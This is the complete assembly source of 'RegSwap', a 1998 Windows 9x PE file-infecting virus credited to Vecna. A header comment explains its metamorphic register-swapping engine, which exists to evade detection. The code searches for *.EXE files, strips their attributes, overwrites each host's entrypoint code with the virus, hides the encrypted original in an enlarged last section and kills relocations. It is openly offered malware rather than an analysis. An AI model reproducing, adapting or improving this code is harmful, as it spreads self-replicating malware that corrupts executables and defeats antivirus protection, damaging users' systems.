;[REGSWAP] - A metamorphic experience ;Copyrigth (c) 1998 Vecna ; ;Win9x PE infector ;Direct action ;New infection way ;Light Metamorphism ;VxDCall ; ;Due popular demand, i fixed this virus, and made it fully metamorphic, using ;the register exchange metamorphic technic. Altought this technic isnt so ;powerful as the one i used in Miss Lexotan 6mg, they can be combined, leading ;to a very efficient way of avoid detection. ; ;Probably, the future of metamorphism will be a mix of this technic, together ;with the Miss Lexotan one and the code permutation developed by Z0MBiE in ;ZCME virus and AZCME engines. The mixing of procedures, as found in the old ;BadBoy virus, can be usefull too. ; ;Peoples interessed in this technic should consult also AZCME32, also for w32, ;written by Z0MBiE/29A. It also change register usage, but using a more ;advanced technic using a internal disassembler instead of tables. ; ;A review of the features: The first one is the PE infection way, inedit, that ;consist in overwriting the entrycode pointed by the entrypoint, in the code ;section, and saving it, encripted, to last section, increased before. We ;check before if the entrypoint isnt so close to the end of the code section, ;thing that can damage our host. As the entrypoint dont change, this help very ;much against heuristics. ; ;The metamorphism consist in changing the register used in the whole virus ;body. Procedures are processed in turn, reseting the reg equivalence table ;each time, making each sub register-independent. The only fixed sequences are ;the vint21h procedure, due the requeriment of vint21 about the register usage, ;and the random number generator, coz i use the stack in a weird way, and is ;not worth fix this anymore. ; ;The classical way to set a SEH frame pointed by ESP: ; sub ecx, ecx ; push dwo fs:[ecx] ; mov fs:[ecx], esp ; ;After be processed by the engine, can turn to: ; sub esi, esi ; push dwo fs:[esi] ; mov fs:[esi], esp ; ;And so on. All registers can be modificated. ; ;The tables used by this metamorphic engine are in the following format: ; 00..06 - Register index ; 07..08 - Position of reg in instruction (xx000xxx or xxxxx000) ; 09..16 - Distance from previous reg-using instruction ; ;Thus, each register in the virus occup 1 word in these tables. A short macro, ;xchr, is provided to make table contruction more easy. ; ;Ideas to improve this technic: ;*Add a rnd value between 0..SPARE to all EBP-using instructions ;*Use the free bits at top of the distance to signal other actions. As for ; example, modify ADD REG1, ? to SUB REG1, NEG ? or even MOV REG1, REG2 to ; PUSH REG2 / POP REG1 ; ;vecna@antisocial.com .586p .model flat .data dd 0 .code locals by equ byte ptr wo equ word ptr dwo equ dword ptr ofs equ offset xchr macro posd, pos, reg dw ((posd SHL 8) OR (pos SHL 6) OR reg) endm K32 EQU 0BFF70000h SPARE EQU 16 VBUFFER EQU 0 ;this buffer must be the first ENTRY EQU VBUFFER+VSIZE+SPARE HEADER EQU ENTRY+VSIZE+SPARE RESTORE EQU HEADER+400H+SPARE DTA EQU RESTORE+(REND-RSTART)+SPARE HANDLE EQU DTA+44+SPARE VXDCALL EQU HANDLE+4+SPARE HSIZE EQU VXDCALL+4+SPARE RTABLE EQU HSIZE+4+SPARE SSIZE EQU RTABLE+8+SPARE VSIZE EQU VEND-VCODE VCODE EQU THIS BYTE vstart proc sub esp, SSIZE mov ebp, esp ;alloc stack buffer call __0 mov esp, [esp+8] ;on fault: restore stack jmp @@1 __0: sub ecx, ecx push dwo fs:[ecx] mov fs:[ecx], esp ;set SEH call @@0 @@0: pop esi ;delta mov ebx, 4 mov edi, ebp mov edx, (REND-RSTART)/4 add esi, REND-@@0-4 ;start from end @@2: mov ecx, [esi] mov [edi+edx*4+RESTORE], ecx sub esi, ebx ;copy restore proc to stack dec edx ;buffer jnz @@2 sub esi, RSTART-VCODE-4 ;start of virus code mov edi, ebp mov ecx, VSIZE/4 @@3: mov eax, [esi] mov [edi], eax ;copy whole virus to stack add esi, ebx add edi, ebx dec ecx jnz @@3 ;next dword call vinit ;get VxDCall0 jc @@1 call engine ;mutate stack copy call findfiles ;find files and infect @@1: sub ecx, ecx pop dwo fs:[ecx] ;remove SEH pop ecx mov ebx, ofs return OldEntryPoint equ dwo $-4 ;old entrypoint push ebx lea ecx, [ebp+RESTORE+4] ;where restore proc reside push ecx ret align 4 vstart endp RSTART EQU THIS BYTE vrestore proc ;routine to restore host mov edx, 0 LoadBase equ dwo $-4 pop ecx add ecx, edx mov esi, ofs return OldEntryData equ dwo $-4 ;last section end-vsize mov edi, ecx add esi, edx mov edx, VSIZE/4 @@1: mov ebx, dwo [esi] not ebx ;decript dword mov dwo [edi], ebx add edi, 4 add esi, 4 dec edx jnz @@1 add esp, SSIZE ;unalloc stack buffer push ecx ret ;return to host align 4 vrestore endp REND EQU THIS BYTE vinit proc call @@0 mov esp, [esp+8] ;on fault: restore stack jmp @@1 @@0: sub ecx, ecx push dwo fs:[ecx] mov fs:[ecx], esp ;set SEH cmp dwo ds:[K32+80h], 'EP' jnz @@1 mov esi, ds:[K32+80h+78h] ;get import dir add esi, K32+1ch mov eax, [esi] mov ebx, [eax+K32] add ebx, K32 mov [ebp+VXDCALL], ebx ;store VxDCall0 clc db 0b8h ;mov eax, garbage @@1: stc ;signal error db 3 dup(90h) pop dwo fs:[0] ;remove SEH pop ecx ret vinit endp vint21h proc pusha mov eax, [esp+4+(8*4)] ;this proc is fixed :( mov ecx, [esp+8+(8*4)] mov edx, [esp+12+(8*4)] mov ebx, [esp+16+(8*4)] push ecx push eax push 002A0010h call [ebp+VXDCALL] ;call emulated pmode int21 mov [esp+(7*4)+(5*4)], eax popa ret (3*4) ;left return value in stack vint21h endp rnd proc pusha call @@1 dd 07672de21h @@1: pop ebp mov eax, [ebp] ;get seed mov ecx, 7 @@3: ror eax, 1 jc @@2 xor eax, 08514ae53h @@2: adc ah, cl bswap eax loop @@3 ;make random mov [ebp], eax ;save new seed xchg eax, [esp+(8*4)] call @@4 @@4: pop ecx mov [ecx+(ofs _ret-ofs @@4)], eax ;exchange return address with popa ;random number jmp @@0 @@0: push 12345678h _ret equ dwo $-4 ret rnd endp findfiles proc push eax lea eax, [ebp+DTA] push eax push eax push 00001a00h ;set DTA call vint21h call @@0 @@0: pop edi lea eax, [edi+(fmask-@@0)] push eax ;paramz push 27h push 00004e00h ;function call vint21h pop ebx ;clear stack jc @@1 @@2: lea eax, [ebp+DTA+1eh] push eax call infect push edi push eax push ebx push 00004f00h ;function call vint21h pop eax jnc @@2 @@1: ret findfiles endp infect proc mov edx, [esp+4] push eax push edx push 0 push 00004301h call vint21h ;remove attributes pop ebx jc @@1 push edx push edx push eax push 00003d02h ;open it read/write call vint21h pop ebx jc @@1 lea edx, [ebp+HEADER] push ebx push edx push 400h push 00003f00h call vint21h ;read 400h of header pop ecx movzx ecx, wo [edx] add edx, [edx+3ch] xor ecx, [edx] xor ecx, 'ZM' XOR 'EP' jnz @@2 ;signs match? cmp by [edx-1], -1 mov by [edx-1], -1 jz @@2 push edx movzx eax, wo [edx+6] dec eax imul eax, eax, 40 pop edx lea edi, [edx+0e0h+24] add edi, eax ;edi==last section header mov ecx, [edi+8] push ecx add ecx, [edi+12] mov dwo [ebp+VBUFFER+(ofs OldEntryData-VCODE)], ecx pop ecx add ecx, [edi+20] ;ecx==physical end of host or by [edi+39], 0c0h ;attributes r/w push ecx mov ecx, dwo [edi+8] add ecx, VSIZE mov dwo [edi+8], ecx ;increase size in section headers mov dwo [edi+16], ecx add dwo [edx+80], VSIZE ;and ImageSize too mov ecx, [edx+40] mov dwo [ebp+VBUFFER+(ofs OldEntryPoint-VCODE)], ecx lea edi, [edx+0e0h+24] mov eax, ecx @@3: mov ecx, eax sub ecx, [edi+12] cmp ecx, [edi+8] ;find section where the entry jbe @@4 ;point inside add edi, 40 jmp @@3 @@4: mov eax, ecx add ecx, [edi+20] ;ecx==physical entrypoint or by [edi+39], 0c0h ;make it r/w for later restore db 081h, 0c0h dd VSIZE+100h ;add eax cmp eax, [edi+16] ;is entrypoint too close to end jbe @@5 ;of section? @@8: pop esi jmp @@2 @@5: mov dwo [edx+160],0 mov dwo [edx+164],0 ;kill relocs mov eax, [edx+84] mov [ebp+HSIZE], eax mov eax, [edx+52] mov [ebp+VBUFFER+(ofs LoadBase-VCODE)], eax push ebx push ecx push 0 push 00004200h ;push for later seek push ebx push ecx push 0 push 00004200h call vint21h ;seek to entrypoint place in pop esi ;file push ebx lea esi, [ebp+ENTRY] push esi push VSIZE push 00003f00h call vint21h ;read code from entrypoint pop eax mov eax, VSIZE/4 @@6: not dwo [esi+eax*4] ;encript it to avoid disinfection dec eax ;by hand jns @@6 call vint21h ;seek entrypoint again(paramz pop eax ;already on stack) push ebx lea eax, [ebp+VBUFFER] push eax push VSIZE push 00004000h call vint21h ;write virus code pop ecx mov ecx, ebx xchg [esp], ecx push ecx ;ebx==ecx push 0 push 00004200h call vint21h ;seek end of file pop eax push ebx lea eax, [ebp+ENTRY] push eax push VSIZE push 00004000h call vint21h ;write host code(encripted) pop eax push ebx push 0 push 0 push 00004200h call vint21h ;seek start of file pop eax push ebx lea eax, [ebp+HEADER] push eax mov eax, [ebp+HSIZE] push eax push 00004000h call vint21h ;write header pop ecx @@2: push ebx push eax push eax push 00003e00h call vint21h ;close file pop ebx @@1: ret 4 infect endp engine proc call @@0 @@0: pop edx ;old fashioned delta sub edx, ofs @@0 lea ebx, [edx+ofs tproc] @@2: sub ecx, ecx mov dwo [ebp+RTABLE], 0 mov dwo [ebp+RTABLE+4], 0504h @@7: call rnd pop eax and eax, 00000111b ;choose a position lea edi, [ebp+RTABLE+eax] cmp by [edi], 0 ;already occuped? jnz @@8 or dwo [edi], ecx ;occup it and set next reg inc ecx cmp ecx, 4 jne @@9 ;EBP & ESP are fixed mov ecx, 6 @@9: cmp ecx, 8 ;all regz done? @@8: jnz @@7 mov esi, [ebx] test esi, esi jz @@1 ;all procz done? add esi, edx mov edi, [ebx+4] lea edi, [ebp+edi+VBUFFER] movzx ecx, by [esi] ;no of fixes for this proc inc esi @@3: push ecx movzx eax, wo [esi] ;get command word mov ecx, eax shr ecx, 8 add edi, ecx ;seek destination db 0f7h, 0c0h dd 01000000b ;test eax, ? jz @@4 and by [edi], not 00000111b ;clean first position @@4: db 0f7h, 0c0h dd 10000000b ;test eax, ? jz @@5 and by [edi], not 00111000b ;clean second position @@5: mov ecx, eax and ecx, 00111111b lea ecx, [ebp+RTABLE+ecx] ;[reg+delta+table]=new reg movzx ecx, by [ecx] db 0f7h, 0c0h dd 10000000b ;test eax, ? jz @@6 shl ecx, 3 ;second position @@6: or [edi], ecx ;patch reg pop ecx add esi, 2 dec ecx jnz @@3 ;do next fix add ebx, 8 jmp @@2 ;do next proc @@1: ret engine endp db 'regswap by vecna' align 4 tproc dd ofs _vstart ;pointer to proc tables dd ofs vstart-VCODE dd ofs _vrestore dd ofs vrestore-VCODE dd ofs _vinit dd ofs vinit-VCODE dd ofs _engine dd ofs engine-VCODE dd ofs _findfiles dd ofs findfiles-VCODE dd ofs _infect dd ofs infect-VCODE dd 0 _vstart db 37 xchr 14h, 10b, 1 xchr 00h, 01b, 1 ;sub ecx ecx xchr 03h, 01b, 1 xchr 03h, 01b, 1 ;set seh xchr 06h, 01b, 6 ;pop esi xchr 01h, 01b, 3 ;mov ebx xchr 06h, 10b, 7 ;mov edi ebp xchr 01h, 01b, 2 ;mov edx xchr 06h, 01b, 6 ;add esi xchr 06h, 10b, 1 xchr 00h, 01b, 6 ;mov ecx [] xchr 02h, 10b, 1 xchr 01h, 10b, 2 xchr 00h, 01b, 7 ;mov [r+r*4+x] r xchr 06h, 10b, 6 xchr 00h, 01b, 3 ;sub esi ebx xchr 01h, 01b, 2 ;dec edx xchr 04h, 01b, 6 ;sub si xchr 03h, 10b, 7 ;mov edi ebp xchr 01h, 01b, 1 ;mov ecx xchr 06h, 10b, 0 xchr 00h, 01b, 6 ;mov eax [] xchr 02h, 10b, 0 xchr 00h, 01b, 7 ;mov [] eax xchr 02h, 10b, 6 xchr 00h, 01b, 3 ;add esi ebx xchr 02h, 10b, 7 xchr 00h, 01b, 3 ;add edi ebx xchr 01h, 01b, 1 ;dec ecx xchr 15h, 10b, 1 xchr 00h, 01b, 1 ;sub ecx ecx xchr 03h, 01b, 1 xchr 01h, 01b, 1 ;remove seh xchr 01h, 01b, 3 ;mov ebx xchr 05h, 01b, 3 ;push ebx xchr 02h, 10b, 1 ;lea r [r+x] xchr 05h, 01b, 1 ;push ecx _vrestore db 19 xchr 00h, 01b, 2 ;mov edx xchr 05h, 01b, 1 ;pop ecx xchr 02h, 10b, 1 xchr 00h, 01b, 2 ;add ecx edx xchr 01h, 01b, 6 ;mov esi xchr 06h, 10b, 7 xchr 00h, 01b, 1 ;mov edi ecx xchr 02h, 10b, 6 xchr 00h, 01b, 2 ;add esi edx xchr 01h, 01b, 2 ;mov edx xchr 06h, 10b, 3 xchr 00h, 01b, 6 ;mov ebx [] xchr 02h, 01b, 3 ;not ebx xchr 02h, 10b, 3 xchr 00h, 01b, 7 ;mov [] ebx xchr 02h, 01b, 7 ;add edi xchr 03h, 01b, 6 ;add esi xchr 02h, 01b, 2 ;dec edx xchr 09h, 01b, 1 ;push ecx _vinit db 15 xchr 0ch, 10b, 1 xchr 00h, 01b, 1 ;sub ecx ecx xchr 03h, 01b, 1 xchr 03h, 01b, 1 ;set seh xchr 0eh, 10b, 6 ;mov esi [] xchr 06h, 01b, 6 ;add esi xchr 06h, 10b, 0 xchr 00h, 01b, 6 ;mov eax [] xchr 02h, 10b, 3 xchr 00h, 01b, 0 ;mov ebx [r+x] xchr 06h, 01b, 3 ;add ebx xchr 06h, 10b, 3 ;mov [] ebx xchr 06h, 01b, 0 ;db 0b8h xchr 0bh, 01b, 1 ;pop _findfiles db 15 xchr 00h, 01b, 0 ;push xchr 02h, 10b, 0 ;lea xchr 05h, 01b, 0 ;push xchr 01h, 01b, 0 ;push xchr 10h, 01b, 7 ;pop xchr 02h, 10b, 0 xchr 00h, 01b, 7 ;lea xchr 05h, 01b, 0 ;push xchr 0dh, 01b, 3 ;pop xchr 04h, 10b, 0 ;lea xchr 05h, 01b, 0 ;push xchr 06h, 01b, 7 ;push xchr 01h, 01b, 0 ;push xchr 01h, 01b, 3 ;push xchr 0bh, 01b, 0 ;pop _engine db 57 xchr 05h, 01b, 2 ;pop xchr 02h, 01b, 2 ;sub xchr 06h, 10b, 3 xchr 00h, 01b, 2 ;lea xchr 06h, 10b, 1 xchr 00h, 01b, 1 ;sub xchr 1ah, 01b, 0 ;pop xchr 02h, 01b, 0 ;and xchr 03h, 10b, 7 xchr 01h, 10b, 0 ;lea xchr 06h, 01b, 7 ;cmp [] xchr 05h, 10b, 1 xchr 00h, 01b, 7 ;or [] xchr 01h, 01b, 1 ;inc xchr 02h, 01b, 1 ;cmp xchr 04h, 01b, 1 ;mov xchr 06h, 01b, 1 ;cmp xchr 05h, 10b, 6 xchr 00h, 01b, 3 ;mov r [] xchr 02h, 10b, 6 xchr 00h, 01b, 6 ;test xchr 04h, 10b, 6 xchr 00h, 01b, 2 ;add xchr 02h, 10b, 7 xchr 00h, 01b, 3 ;mov [] xchr 03h, 10b, 7 xchr 01h, 10b, 7 ;lea xchr 04h, 10b, 1 xchr 00h, 01b, 6 ;movxz xchr 01h, 01b, 6 ;inc xchr 01h, 01b, 1 ;push xchr 03h, 10b, 0 xchr 00h, 01b, 6 ;movzx xchr 02h, 10b, 1 xchr 00h, 01b, 0 ;mov xchr 02h, 01b, 1 ;shr xchr 03h, 10b, 7 xchr 00h, 01b, 1 ;add xchr 02h, 01b, 0 ;test xchr 08h, 01b, 7 ;and [] xchr 03h, 01b, 0 ;test xchr 08h, 01b, 7 ;and [] xchr 03h, 10b, 1 xchr 00h, 01b, 0 ;mov xchr 02h, 01b, 1 ;and xchr 03h, 10b, 1 xchr 01h, 10b, 1 ;lea xchr 07h, 10b, 1 xchr 00h, 01b, 1 ;movzx xchr 02h, 01b, 0 ;test xchr 08h, 01b, 1 ;shl xchr 03h, 10b, 1 xchr 00h, 01b, 7 ;or [] xchr 01h, 01b, 1 ;pop xchr 02h, 01b, 6 ;add xchr 02h, 01b, 1 ;dec xchr 04h, 01b, 3 ;add _infect db 119 xchr 01h, 10b, 2 ;mov [] xchr 03h, 01b, 0 ;push xchr 01h, 01b, 2 ;push xchr 0dh, 01b, 3 ;pop xchr 07h, 01b, 2 ;push xchr 01h, 01b, 2 ;push xchr 01h, 01b, 0 ;push xchr 0bh, 01b, 3 ;pop xchr 08h, 10b, 2 ;lea xchr 05h, 01b, 3 ;push xchr 01h, 01b, 2 ;push xchr 10h, 01b, 1 ;pop xchr 03h, 10b, 1 xchr 00h, 01b, 2 ;movzx xchr 02h, 10b, 2 xchr 00h, 01b, 2 ;add xchr 03h, 10b, 1 xchr 00h, 01b, 2 ;xor xchr 02h, 01b, 1 ;xor xchr 0ch, 01h, 2 ;cmp[] xchr 04h, 01h, 2 ;mov[] xchr 09h, 01b, 2 ;push xchr 03h, 10b, 0 xchr 00h, 01b, 2 ;movzx xchr 02h, 01b, 0 ;dec xchr 02h, 01b, 0 xchr 00h, 10b, 0 ;imul xchr 02h, 01b, 2 ;pop xchr 02h, 10b, 7 xchr 00h, 01b, 2 ;lea xchr 06h, 10b, 7 xchr 00h, 01b, 0 ;add xchr 02h, 10b, 1 xchr 00h, 01b, 7 ;mov xchr 02h, 01b, 1 ;push xchr 02h, 10b, 1 xchr 00h, 01b, 7 ;add xchr 03h, 10b, 1 ;mov xchr 05h, 01b, 1 ;pop xchr 02h, 10b, 1 xchr 00h, 01b, 7 ;add xchr 03h, 01b, 7 ;or xchr 03h, 01b, 1 ;push xchr 02h, 10b, 1 xchr 00h, 01b, 7 ;mov xchr 03h, 01b, 1 ;add xchr 06h, 10b, 1 xchr 00h, 01b, 7 ;mov xchr 03h, 10b, 1 xchr 00h, 01b, 7 ;mov xchr 03h, 01b, 2 ;add xchr 07h, 10b, 1 xchr 00h, 01b, 2 ;mov xchr 03h, 10b, 1 ;mov xchr 03h, 10b, 7 xchr 00h, 01b, 2 ;lea xchr 06h, 10b, 0 xchr 00h, 01b, 1 ;mov xchr 02h, 10b, 1 xchr 00h, 01b, 0 ;mov xchr 02h, 10b, 1 xchr 00h, 01b, 7 ;sub xchr 03h, 10b, 1 xchr 00h, 01b, 7 ;cmp xchr 05h, 01b, 7 ;add xchr 05h, 10b, 0 xchr 00h, 01b, 1 ;mov xchr 02h, 10b, 1 xchr 00h, 01b, 7 ;add xchr 03h, 01b, 7 ;or xchr 04h, 01b, 0 ;add xchr 06h, 10b, 0 xchr 00h, 01b, 7 ;cmp xchr 04h, 01b, 6 ;pop xchr 07h, 01b, 2 ;mov xchr 0ah, 01b, 2 ;mov xchr 0ah, 10b, 0 xchr 00h, 01b, 2 ;mov xchr 03h, 10b, 0 ;mov xchr 06h, 10b, 0 xchr 00h, 01b, 2 ;mov xchr 03h, 10b, 0 ;mov xchr 02h, 01b, 3 ;push xchr 01h, 01b, 1 ;push xchr 08h, 01b, 3 ;push xchr 01h, 01b, 1 ;push xchr 0dh, 01b, 6 ;pop xchr 01h, 01b, 3 ;push xchr 02h, 10b, 6 ;lea xchr 05h, 01b, 6 ;push xchr 10h, 01b, 0 ;pop xchr 01h, 01b, 0 ;mov xchr 07h, 10b, 0 xchr 00h, 01b, 6 ;not xchr 01h, 01b, 0 ;dec xchr 08h, 01b, 0 ;pop xchr 01h, 01b, 3 ;push xchr 02h, 10b, 0 ;lea xchr 02h, 01b, 0 ;push xchr 10h, 01b, 1 ;pop xchr 02h, 10b, 1 xchr 00h, 01b, 3 ;mov xchr 02h, 10b, 1 ;xchg xchr 02h, 01b, 1 ;push xchr 0dh, 01b, 0 ;pop xchr 01h, 01b, 3 ;push xchr 02h, 10b, 0 ;lea xchr 05h, 01b, 0 ;push xchr 10h, 01b, 0 ;pop xchr 01h, 01b, 3 ;push xchr 0fh, 01b, 0 ;pop xchr 01h, 01b, 3 ;push xchr 02h, 10b, 0 ;lea xchr 05h, 01b, 0 ;push xchr 02h, 10b, 0 ;mov xchr 05h, 01b, 0 ;push xchr 0bh, 01b, 1 ;pop xchr 01h, 01b, 3 ;push xchr 01h, 01b, 0 ;push xchr 01h, 01b, 0 ;push xchr 0ah, 01b, 3 ;pop fmask db '*.EXE', 0 align 4 VEND EQU THIS BYTE ;Dis is our first generation host ;Dis data dont travel with the virus extrn ExitProcess:near org VEND+32 main: not dwo [return] not dwo [return+4] not dwo [return+8] not dwo [return+16] jmp vstart return: push 0 call ExitProcess ret e equ $ db VSIZE-(e-ofs return) dup (90h) end main